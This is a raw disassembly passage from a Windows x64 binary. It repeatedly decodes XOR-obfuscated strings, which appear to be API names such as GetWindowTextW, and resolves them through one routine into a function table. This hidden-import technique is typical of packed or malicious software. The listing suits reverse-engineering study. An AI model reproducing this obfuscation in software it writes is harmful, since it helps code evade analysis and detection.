movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x3570]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140029420
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3570]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x160], rax
movabs rax, 0x13482d775e306f23
mov qword [rbp + 0x8610], rax
movabs rax, 0x6777dcf6b58aaa93
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x7c2c431e09440a64
mov qword [rbp + 0x8630], rax
movabs rax, 0x67778b82cdeffee4
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x50], xmm2
lea rcx, [rbp + 0x23b0]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x23b0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x178], rax
movabs rax, 0xec38f8522df1e02
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x13c3b2af6cc1a3a3
mov qword [rbp + 0x85d8], rcx
movabs rax, 0xec3f9ec66b36b4f
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xe00], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xe10], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xe20], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xe30], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xe40], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xe50], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xe60], xmm1
lea r8, [rbp + 0xe00]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x180], rax
movabs rax, 0x10f2d2eee3754e9e
mov qword [rbp + 0x8610], rax
movabs rax, 0x449270e91a314dad
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x409eb39b970727c8
mov qword [rbp + 0x8630], rax
movabs rax, 0x4492048a7f4522df
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x50], xmm2
lea rcx, [rbp + 0x2920]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2920]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x188], rax
movabs rax, 0x1d9ec86b61c80fb0
mov qword [rbp + 0x8610], rax
movabs rax, 0x601b8a616339e80f
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x75caad1f00ad7df3
mov qword [rbp + 0x8630], rax
movabs rax, 0x601b8a6107588d7d
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1e00]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1e00]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x190], rax
movabs rax, 0x3df79d47ec38d81
mov qword [rbp + 0x8610], rax
movabs rax, 0x1984acc39c367916
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe00000002000c612
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x62ba0bbc2ab7e8c6
mov qword [rbp + 0x8650], rax
movabs rax, 0x6dfcc9b7f2593a72
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x2f10]
lea rcx, [rbp + 0x40]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140029941
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2f10]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x198], rax
movabs rax, 0x1a1b7b6ad0a71140
mov qword [rbp + 0x8610], rax
movabs rax, 0xe320d0c3737b2fb
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe00000002000c465
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7b7e090284d37413
mov qword [rbp + 0x8650], rax
movabs rax, 0x7a4a68785958f19f
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x2bf0]
lea rcx, [rbp + 0x40]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140029a72
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2bf0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1a0], rax
movabs rax, 0x7794b6542b478d6
mov qword [rbp + 0x8610], rax
movabs rax, 0x773c219ee09d7aa7
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6f2d2e0837c71d84
mov qword [rbp + 0x8630], rax
movabs rax, 0x773c219e84fc1fd5
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1ed0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1ed0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1a8], rax
movabs rax, 0x141413b570489221
mov qword [rbp + 0x8610], rax
movabs rax, 0x9b434e2f863ddb0
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe00000002000ff10
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x60757ddc1d3af775
mov qword [rbp + 0x8650], rax
movabs rax, 0x7ac7518197118dd5
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x3020]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140029cc0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3020]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1b0], rax
movabs rax, 0x95c06d5953d6b15
mov qword [rbp + 0x8610], rax
movabs rax, 0x6dd571553f905906
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x673d4eb0e6520756
mov qword [rbp + 0x8630], rax
movabs rax, 0x6dd571553ff53562
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x1870]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1870]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1b8], rax
movabs rax, 0xb67558093d2cf
mov qword [rbp + 0x85d0], rax
movabs rcx, 0x1c2bcf2c7785f389
mov qword [rbp + 0x85d8], rcx
movabs rax, 0xb6725e5f6be9c
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xa90], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xaa0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xab0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xac0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xad0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xae0], xmm0
lea r8, [rbp + 0xa90]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1c0], rax
movabs rax, 0x108c722dffded976
mov qword [rbp + 0x8610], rax
movabs rax, 0x568d5684c2a1e4fc
mov qword [rbp + 0x8618], rax
movabs rax, 0x19669bee676f498
mov qword [rbp + 0x8620], rax
movabs rcx, 0x66131c463889a3a3
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7fd817599ebbab35
mov qword [rbp + 0x8650], rax
movabs rax, 0x64be26e8a7c98893
mov qword [rbp + 0x8658], rax
movabs rax, 0x75f901cd96179acb
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x1120]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140029fc0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x1120]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1c8], rax
movabs rax, 0x4b35c7d0eafd6b4
mov qword [rbp + 0x8610], rax
movabs rax, 0x3d7ae2885aa8957b
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x37c02f186dc0a4e4
mov qword [rbp + 0x8630], rax
movabs rax, 0x3d2d96fb28c1d349
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x50], xmm1
lea rax, [rbp + 0x2d00]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a0b0
lea r8, [rbp + 0x2d00]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1d0], rax
movabs rax, 0x84ef4815345a7e2
mov qword [rbp + 0x8610], rax
movabs rax, 0x2d459def6b81af80
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x3b3d87e4302ad5b2
mov qword [rbp + 0x8630], rax
movabs rax, 0x2d45ca9b13e4e1b2
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x2a10]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2a10]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1d8], rax
movabs rax, 0x1824de675846a8a7
mov qword [rbp + 0x8610], rax
movabs rax, 0x1ea6e710c6ddd6c2
mov qword [rbp + 0x8618], rax
movabs rax, 0xbd9a3ee4a1017f5
mov qword [rbp + 0x8620], rax
movabs rcx, 0x128a452fb613e0b6
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7941ac0f0c32cde0
mov qword [rbp + 0x8650], rax
movabs rax, 0x78e79765a9af91a6
mov qword [rbp + 0x8658], rax
movabs rax, 0xbd9da9a237e7e93
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x4720]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a300
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4720]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1e0], rax
movabs rax, 0x1aae9afd177bfbbf
mov qword [rbp + 0x8610], rax
movabs rax, 0x1fe83fe6fb99f2f7
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe00000002000ef47
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7fdce888540f9ef8
mov qword [rbp + 0x8650], rax
movabs rax, 0x7b895a9493cd8699
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x3130]
lea rcx, [rbp + 0x40]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a461
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3130]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1e8], rax
